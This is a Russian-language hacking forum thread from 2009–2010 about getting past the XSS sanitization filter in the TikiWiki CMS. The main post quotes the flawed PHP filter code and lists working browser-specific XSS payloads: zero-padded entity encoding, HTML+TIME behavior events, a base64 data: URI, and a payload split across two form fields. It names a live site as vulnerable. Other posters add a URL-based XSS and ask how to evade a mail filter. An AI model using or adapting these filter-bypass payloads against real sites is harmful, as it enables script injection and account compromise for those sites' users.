 |
|

27.02.2009, 16:42
|
|
Новичок
Регистрация: 27.08.2007
Сообщений: 11
С нами:
9845183
Репутация:
8
|
|
проблема в том что они в скрипте санитизации приводят все не стандартные кодировки к стандартной и только затем составляют для каждого $ra отдельный динамичиский regexp с ключами //gi, поэтому не бачет...
но у меня всеж надежда не умирает , щас анализирую коды, пытаюсь найти выход...
|
|
|

04.03.2009, 03:22
|
|
Познающий
Регистрация: 22.02.2006
Сообщений: 67
С нами:
10638498
Репутация:
2033
|
|
TikiWiki 2.2 CMS/Groupware XSS vulnerability
Неправильный кусок кода из файла sanitization.php
PHP код:
for ($i = 0; $i < strlen($search); $i++) {
// ;? matches the ;, which is optional
// 0{0,8} matches any padded zeros,
// which are optional and go up to 8 chars
// @ @ search for the hex values
$patterns[] = '/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i';
$replacements[] = $search[$i];
// @ @ 0{0,8} matches '0' zero to eight times
// with a ;
$patterns[] = '/(�{0,8}'.ord($search[$i]).';?)/';
$replacements[] = $search[$i];
}
В Opera и FF ограничений по количеству опциональных нулей нет, поэтому если при кодировании используется хотя бы 9 нулей, фильтр считает, что перед ним другой символ.
активная XSS (Opera only)*
PHP код:
<img src="javascript:confirm(/lo/)">
*в различных полях невозможность использования этого способа вызвана дополнительной фильтрацией. Так, например, в личных сообщениях, либо тексте комментариев блога, если фильтр не определил закодированный символ, идет преобразование & --> & Однако же в названиях и описаниях блогов этой допфильтрации нет.
активная XSS (IE only)
Код:
<img style="behavior:\75\72\6C\28\23\64\65\66\61\75\6C\74\23\74\69\6D\65\32\29;display:none" end=0 onend=confirm(/lo/)>
или
Код:
<img style="behavior:\75\72\6C\28\23\64\65\66\61\75\6C\74\23\74\69\6D\65\32\29;display:none" onbegin="confirm(/lo/)">
*пропуск событий HTML+Time2
*пропуск эскейп-последовательностей
пассивная XSS (Opera & FF)
Код:
<a href="data:text/html;base64, PHNjcmlwdD5hbGVydCgvbG8vKTwvc2NyaXB0Pg==">click me</a>
Проверка производилась на локально установленном движке в личных сообщениях и блогах, этого достаточно, чтобы увидеть практическую работу модуля sanitization.php. Дополнительная фильтрация в отдельных полях может быть обсуждена отдельно.
Также следует отметить неаккуратную работу фильтра со структурой тега. Весьма легко производится выход за пределы тега. Невнимание разработчиков можно объяснить тем, что за пределами тега существует такая же фильтрация, как и внутри него. Однако же фильтрация между полями на одной странице отсутствует, в силу чего можно составить код xss, берущий начало в одном поле, а заканчивающийся в другом.
Замечательное подтверждение вышесказанному сайтец http://lojban.org, основанный на tikiwiki 3.0beta. В форумных заголовках (title) сообщений проходят ВСЕ вышеописанные XSS.
Активная XSS уязвимость, основанная на нарушении структуры тега, может быть такая (IE only):
в заголовке форумного сообщения
Код:
<a style=`display:none;lo:expres/*;></a>
в теле форумного сообщения
Код:
[http://www.foo.com/lo*/sion(this.lo==true?true:confirm(/lo/,this.lo=true));`| ]
Последний раз редактировалось LeverOne; 27.06.2009 в 03:37..
Причина: уточнение
|
|
|

04.03.2009, 11:29
|
|
Новичок
Регистрация: 27.08.2007
Сообщений: 11
С нами:
9845183
Репутация:
8
|
|
хм.... вери интерестинг!
а я пока раскопал URL XSS в tiki-galleries.php который не подвержен фильтрации
tiki-galleries.php/>"><ScRipt>alert(666)</scRipt>
|
|
|

06.03.2009, 15:06
|
|
Новичок
Регистрация: 27.08.2007
Сообщений: 11
С нами:
9845183
Репутация:
8
|
|
Да, про base64 encoding совсем забыл... каюсь
с дивами и с нулями не бачет, видимо что-то он перекодирует, или еще что-то делает, после \75rl идет урезание
|
|
|

06.03.2009, 15:28
|
|
Новичок
Регистрация: 27.08.2007
Сообщений: 11
С нами:
9845183
Репутация:
8
|
|
сорри, запинается на # симовле...
|
|
|

10.03.2009, 17:11
|
|
Новичок
Регистрация: 27.08.2007
Сообщений: 11
С нами:
9845183
Репутация:
8
|
|
LeverOne да ты воистину гуру!
откуда столько тонкостей знаешь? (про нули например) Я чесно говоря до тебя не встречал, и не знал, такого
спасибо тебе громадно! жутко выручил!
|
|
|

13.02.2010, 21:12
|
|
Новичок
Регистрация: 02.05.2009
Сообщений: 18
С нами:
8961488
Репутация:
-3
|
|
как использовать такую кодировку \75\72\6C\28\23\64\65\66\61\75\6C\74\23\7 4\69\6D\65\32\29
дайти ссылку плиз
|
|
|

14.02.2010, 09:45
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
С нами:
9154406
Репутация:
2221
|
|
Сообщение от SEKTOR3A
как использовать такую кодировку \75\72\6C\28\23\64\65\66\61\75\6C\74\23\7 4\69\6D\65\32\29
дайти ссылку плиз
HEX это.
|
|
|

15.02.2010, 04:32
|
|
Новичок
Регистрация: 02.05.2009
Сообщений: 18
С нами:
8961488
Репутация:
-3
|
|
спс., возможно ли избавится от такого фильтра который сам после получения какого либо письма вписывает значение filtered-
и именно там где стоит onmouseover пробовал как -нить закодить но не вышло может есть на это какие -нить варианты
<a href="mail.html" filtered-onmouseover="alert('Your Message');return true;" target="_blank">Linked Text</a>
sps.
|
|
|
|
 |
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|